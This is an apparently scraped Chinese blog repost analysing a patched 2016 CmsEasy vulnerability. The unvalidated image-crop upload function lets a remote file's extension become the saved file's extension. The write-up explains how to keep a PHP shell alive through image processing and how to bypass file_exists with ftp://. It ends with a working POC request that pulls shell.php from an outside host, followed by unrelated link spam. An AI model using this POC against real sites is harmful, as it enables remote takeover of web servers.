php ceil 漏洞,【技术分享】CmsEasy前台无限制GetShell
简要描述
CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话
前台getshell漏洞修正;
命令执行漏洞修正;
我们就根据补丁来分析一下这个前台Getshell漏洞。
漏洞详情
修改的文件不多,通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。
来看看这个函数
/*function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
*/
看保存文件名的生成
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
直接用了$_POST['pic']的后缀做为新文件的扩展名,应该就是这里导致的getshell。
不过这里利用需要一点技巧
1、图片会经过php的图像库处理,如何在处理后仍然保留shell语句
2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)
在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析,当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整
关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍
$len = 1;
5.0.0以上 就支持file_exists()了
这里构造payload还有一点需要注意的
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] =
str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)。
所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)。
POC
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
本地测试截图
php ceil 漏洞,【技术分享】CmsEasy前台无限制GetShell相关推荐
- php strlen漏洞,CmsEasy前台无限制GetShell
来源:阿里先知(安全情报) 简要描述 CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话 前台getshell漏洞修正: 命令执行漏洞修正: 我们就根据补丁来分析一下这个前台Get ...
- 飞飞php影视系统漏洞,飞飞影视最新版前台无限制getshell
public function fetch($templateFile='',$charset='',$contentType='',$display=false) { //die('errorcod ...
- CmsEasy20160825前台无限制GetShell复现
GetShell思路:根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP. 利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后, 利用脚本在图片中插入pa ...
- 泛微OA9前台无限制getshell
漏洞位于: /page/exportImport/uploadOperation.jsp文件中 Jsp流程大概是:判断请求是否是multipart请求,然就没有了,直接上传了,啊哈哈哈哈哈 重点关注F ...
- android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...
[技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...
- 阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处
本文引用了唐小智发表于InfoQ公众号上的"钉钉企业级IM存储架构创新之道"一文的部分内容,收录时有改动,感谢原作者的无私分享. 1.引言 业界的 IM 产品在功能上同质化较高,而 ...
- Ajax post sql注入,cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
摘要 cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无� cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无视gpc的sql注入 我下载的是最新版 ...
- wps数据匹配怎么做_【VK技术分享】数据安全怎么做—静态数据的识别和治理
前言 在当前的数据时代,随着云计算.大数据.AI等技术的不断发展,"数据"已经渗透到当今每一个行业和业务职能领域,成为重要的生产要素.数据的计量单位也至少是PB级别计算.这对于国家 ...
- 黄文俊:Serverless小程序后端技术分享
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 黄文俊,现任腾讯云SCF无服务器云函数高级产品经理,多年企业级系统开发和架构工作经验,对企业级存储.容器平台.微服务架构.无服务器计算等领域 ...
最新文章
- 博士因论文致谢走红后,回到母校演讲再刷屏!网友:是对寒门学子最好的激励...
- 【Java基础】字符串与数组
- 第九周项目实践2 二叉树遍历的递归算法
- DL之DNN:利用DNN【784→50→100→10】算法对MNIST手写数字图片识别数据集进行预测、模型优化
- ubuntu连接有线局域网后无法使用无线网卡上网
- golang学习之旅(2)- go的数据基本数据类型及变量定义方式
- Codeforces 374A - Inna and Pink Pony
- 中国未来的可能性思考- 系统化思维-公司培训
- 简约大气昼夜双色导航主题模板/WordPress导航主题模板
- 用户管理系统测试报告
- Opengl入门基础-基础知识
- Input length must be multiple of 8 when decrypting with padded cipher
- Pimple 容器使用
- (二)硕博生常用的外文文献检索方式推荐
- ElasticSearch:为中文分词器增加对英文的支持(让中文分词器可以处理中英文混合文档)(转)
- kali2020之chrome安装代理插件
- 2021年最新ABAQUS复合材料建模仿真与应用专题培训
- TeamViewer商业版改成免费版
- java 内存模型JMM解析
- springdata数据源的配置
热门文章
- L3-015. 球队“食物链”
- thinkphp实现微信分享朋友圈自定义图片和文字
- 使用C#制作Windows窗体应用,实现一个微端下载器功能(多线程/断点续传/微端/下载器)
- 华为海关单据识别服务--基于文字识别技术
- 5.数据立方体计算与数据泛化
- 【蚂蚁森林能量获取攻略】
- LINUX7-编译驱动文件时报错:cc1: error: code model kernel does not support PIC mode
- 发现之旅:探索托管 Helm Charts 的正确方式
- 单片机显示Image2Lcd生成的单色图像
- Java compiler level does not match the version of the instal project facet